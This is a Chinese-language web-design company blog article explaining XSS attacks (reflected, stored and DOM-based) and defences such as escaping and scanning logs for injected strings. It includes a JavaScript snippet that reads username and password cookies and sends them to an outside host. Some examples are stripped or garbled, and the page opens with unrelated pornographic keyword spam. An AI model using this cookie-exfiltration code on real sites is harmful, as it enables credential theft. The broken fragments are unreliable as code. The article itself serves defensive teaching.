久久在精品线影院精品国产,无码人妻av一二区二区三区,亚洲熟妇AV一区二区三区,在线视频三区

凱鴻沈陽網站建設制作公司,努力成為受人尊敬的互聯網領軍企業

English  |  宣傳視頻  |  VR全景展示  |  設為首頁  |  收藏本站  |  網站地圖  |  XML  |  官方微信
免費咨詢電話:
400-885-8845

跨網站腳本攻擊(XSS)的原理與防范對策

發布日期: 2023-1-1  作者:    瀏覽量: 1747  
0

摘要:隨著計算機網絡技術的迅速發展,網絡安全問題已變得越來越受到人們的重視,網絡攻擊形式多種多樣,很多蠕蟲病毒、木馬病毒等植入到某些網頁中,給網絡用戶帶來了很大的安全隱患。其中XSS跨網站腳本攻擊,惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意攻擊用戶的特殊目的。本文主要闡述了XSS的機理和特點,重點分析了網頁代碼的檢測以及木馬的特征,并針對這些特點進行了一些相應防范對策的探討。

關鍵詞:網頁木馬; XSS; 攻擊; 防范


一、前言

網頁木馬是一種新型的惡意代碼,一些攻擊者將它人為的植入到服務器端的HTML頁面中,通過客戶端對服務器的訪問來傳播惡意攻擊代碼,它主要是通過瀏覽器以及其中的一些插件漏洞來進行植入,網頁木馬是一種客戶端的攻擊方式,它能有效的繞過防火墻的檢測,隱秘的在客戶端將惡意代碼植入,客戶端在不知情的情況下將這些惡意可執行程序進行下載和執行。給互聯網用戶造成嚴重的安全威脅。

在Web 2.0出現以后,XSS的危害性達到了十分嚴重的地步。跨站腳本英文名稱是(Cross Site Script),為了與層疊樣式表(Cascading Style Sheets簡稱CSS)區分,故命名為XSS。 XSS攻擊是指入侵者在遠程WEB頁面的HTML代碼中插入具有惡意目的的數據,用戶認為該頁面是可信賴的,但是當瀏覽器下載該頁面時,嵌入其中的腳本將被解釋執行。XSS具有自身的獨有特點,目前國內外很多研究人員圍繞XSS的防御進行了深入的探討與研究,同時攻擊者也在采用一些更先進的手段來提高木馬的攻擊隱蔽性,用以提高木馬的攻擊成功率,因此,XSS的機理與防范對策研究已成為了當前計算機工作者的一個重要課題。

二、XSS的機理與特征

1.XSS的成因

跨網站腳本XSS漏洞的成因其實就是Html的注入問題,攻擊者的輸入沒有經過嚴格的控制進入了數據庫,最終顯示給來訪的用戶,導致可以在來訪用戶的瀏覽器里以瀏覽用戶的身份執行Html代碼,數據流程如下:攻擊者的Html輸入—>web程序—>進入數據庫—>web程序—>用戶瀏覽器。目前,所有的網站上幾乎都提供一個站內或站外信息搜索框。在此搜索框中,您可以搜索到網站上任何可用的東西。這個搜索表單看起來這樣:

圖片1.png

圖1-1

圖片2.png

圖1-2

內部代碼:

窗體頂端

窗體底端

“搜索”                             

在asp網頁上顯示的搜索結果,同時它也列出了在“關鍵字”的搜索結果。web頁面上,不管用戶搜索什么內容,它將顯示搜索結果在網頁上?,F在如果一個攻擊者嘗試注入惡意腳本,比如在搜索框中輸入如下Html代碼:“

”則代碼會變成<input type="text" name="q" value="" 

  />,嵌入的JavaScript代碼將會被瀏覽器執行,將顯示一個警告框,提示“XSS跨站腳本攻擊”。而不能完成用戶搜索功能。(上述兩個網站已經做XSS過濾,不能看見警告框)


下面是一個關于用戶注冊頁面的例子,當然這個示例很簡單,幾乎攻擊不到任何網站,僅僅看看其原理。我們知道很多網站都提供用戶注冊功能,網站后臺數據庫存儲用戶名、密碼,方便用戶下次登錄,有些網站是直接用明文記錄用戶名、密碼,惡意用戶注冊賬戶登錄后使用簡單工具查看cookie結構名稱后,如果網站有XSS漏洞,那么簡單的就可以獲取其它用戶的用戶名、密碼了。

圖片3.png

圖2-1

如圖2-1所示的用戶注冊頁面。允許用戶填入注冊信息,然后存儲到后臺數據庫中。因為我們完全信任了用戶輸入,用戶注冊信息都能正確的進入數據庫。但有些惡意的用戶會利用這個漏洞輸入HTML和JS代碼,例如

這段代碼直接輸入到“用戶名”欄中,竊取用戶信息。


在http://www.123.com/h.js中:

var username=CookieHelper.getCookie('username').value;

var password=CookieHelper.getCookie('password').value;

var script =document.createElement('script');

script.src='http://www.123.com/index.asp?username='+username+'&password='+password;

document.body.appendChild(script);

這樣就輕松的獲取了cookie中的用戶名和密碼。

2.跨網站腳本攻擊的類型

2.1非持久性跨網站腳本攻擊,非持久性 XSS 也稱為是反射跨網站漏洞。它是最常見的 XSS 類型。在這,注入數據反射給攻擊者。上面的例1,是非持續的攻擊。典型的非持久性 XSS 包含與 XSS 的鏈接。

    2.2持久性跨網站腳本攻擊(存儲性),持久性跨網站腳本是存儲跨站點腳本。當它發生時 XSS 變量存儲在網站的數據庫,每當用戶打開網頁時執行。每次用戶打開瀏覽器,腳本執行。持久性 XSS 比非持久性 XSS更有害,因為每當用戶打開要查看的內容的網頁時,將自動執行該腳本。上面例2就是持久性跨網站腳本攻擊。

   2.3基于DOM的跨站腳本攻擊,基于 DOM 的 XSS 有時也稱為“type-0 XSS”。它發生時, XSS 變量執行由 DOM 修改用戶的瀏覽器網頁的結果。在客戶端的 HTTP 響應不會更改,但以惡意的方式執行的腳本。

三、XSS防范對策

XSS攻擊的模式很簡單,就是把自己的代碼嵌入到頁面里,隨頁面一塊執行;XSS攻擊的防范也一樣簡單,對于網站的開發者,首先應該把精力放到對所有用戶提交內容進行可靠的輸入驗證上。這些提交內容包括HTML、URL、查詢關鍵字、http頭、post、get數據等。只接受在你所規定長度范圍內、采用適當格式、你所希望的字符。阻塞、過濾或者忽略其它的任何東西。針對出現在不同位置的用戶輸入內容,其處理策略有所不同。

1、html

只需要處理掉< > 即可,只要沒有html標簽,頁面就是安全的??梢允褂胊sp內置方法Replace (str,“<”,“<”) replace="">”,“>”) 來處理待輸出的內容,將<,>, 轉義。

2、JS

將要輸出到js代碼片斷中的用戶輸入內容沒有好的辦法進行處理;僅轉義少數字符不能保證去掉所有的攻擊可能。因此,一般建議不要把用戶產生的內容直接輸出到js片斷中。

如果條件所限,必須將內容直接輸出,有如下方法可供選擇:

1) 如果待輸出的內容有特定的取值返回或者特定的格式,可以使用白名單或者正則表達式進行處理。

2) 可以將內容輸出到html的隱藏標簽或隱藏表單中,js通過獲取標簽的內容得到該內容。

3、檢查

那么,對已有的頁面,該如何檢查呢?這個問題的回答是,目前沒有很好的辦法能完全檢查出服務器中可能存在XSS攻擊的頁面;有一些辦法可以檢查出比較明顯的疏漏,其基本思路如下:

1)從apache的access_log中取出所有unique的請求,依次修改其某一個參數為 “

”,發起請求。


2)獲取返回的內容,如果內容中有原樣的該字符串,表明此可疑輸入沒有經過處理便輸出到頁面上,頁面存在隱患,需要處理。

通過這種辦法,可以檢查出絕大多數能通過get請求發起的XSS攻擊。那些在access_log沒有出現的請求參數,這里沒有檢查到,可能有所遺漏,就需要手動去整理,測試。通過Post發起的請求需要用另外一種策略進行檢查。其思路如下:將網站上所有可以輸入的表單,依次輸入特征字符串,比如說< ' ” >,如果提交后產生的頁面中含有未處理的此字符串,說明存在隱患。

通過以上分析我們看到,XSS是一種危害較大、較難防范,并且更加隱蔽的攻擊方式。其實只要明白其原理,再加上勤加思考防范的對策,就可以根治XSS漏洞。


沈陽凱鴻科技有限公司

2023/1/1


案例好不好!  看看才知道!

沈陽凱鴻科技有限公司

SHENYANGKAIHONG TECHNOLOGY CO.,LTD.


服務熱線:400-885-8845

Email: zhangmiao@sykh.cn   kh@sykh.cn
地址(add):沈陽市和平區中華路61號

新世界商業中心2期803室

【關注微信】
【關注微信】
【關注抖音】

g.png 遼公網安備 21010202000807號  Copyright ? 凱鴻科技 版權所有   遼ICP備11015922號-1

服務項目: 網站建設/制作,抖音運營拍攝,祥云平臺,全球貿易通,CPT競價推廣!

獲取網絡營銷方案,有想法請聯系我們